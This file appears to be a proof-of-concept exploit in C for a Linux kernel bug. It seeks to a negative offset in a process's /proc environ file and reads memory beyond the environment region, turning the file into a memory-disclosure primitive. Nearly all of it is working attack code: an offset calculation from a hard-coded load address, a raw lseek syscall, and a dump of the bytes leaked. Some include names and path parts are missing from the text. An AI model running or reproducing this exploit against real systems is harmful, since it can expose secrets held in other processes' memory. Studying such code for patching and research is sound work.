/* * /proc//environ like /proc//mem * * Author: Djalal Harouni tixxdz opendz.org * License: GPLv2 * * * (mm->env_start + src) will point to your page. * src is the offset * For 64bits: A negative offset. * For 32bits: Did not test, can we wrap ? * */ #define _LARGEFILE64_SOURCE #define _GNU_SOURCE #include #include #include #include #include #include #include #include #define SYS_lseek 8 extern char **environ; /* use **environ against a non -fPIC elf */ static inline loff_t get_offset(unsigned long env_addr) { unsigned long load_addr = 0x00400000; return (load_addr - env_addr); } static loff_t kernel_lseek(int fd, loff_t offset) { return syscall(SYS_lseek, fd, offset, SEEK_SET); } static int leak(char *proc_file, unsigned long env_start) { int ret; int i, fd; char buf[4096]; loff_t offset = 0; memset(buf, 0, sizeof(buf)); ret = -1; fd = open(proc_file, O_RDONLY); if (fd == -1) { perror("open"); return ret; } if (env_start) offset = get_offset(env_start); if (!offset) /* really ? */ offset = get_offset((unsigned long)*environ); if (kernel_lseek(fd, offset) == (off_t) -1) { perror("lseek"); return ret; } ret = read(fd, buf, sizeof(buf)); if (ret == -1) { perror("read"); return ret; } close(fd); for (i = 0; i < sizeof(buf); i++) printf("%c", buf[i]); return 0; } int main(int argc, char **argv) { unsigned long env_addr = 0; if (argc < 3) { printf("%s /proc//environ env_addr\n" " /proc//environ.\n" " env_addr: start of environment\n", argv[0]); return 0; } env_addr = (unsigned long) strtoul(argv[2], NULL, 0); return leak(argv[1], env_addr); }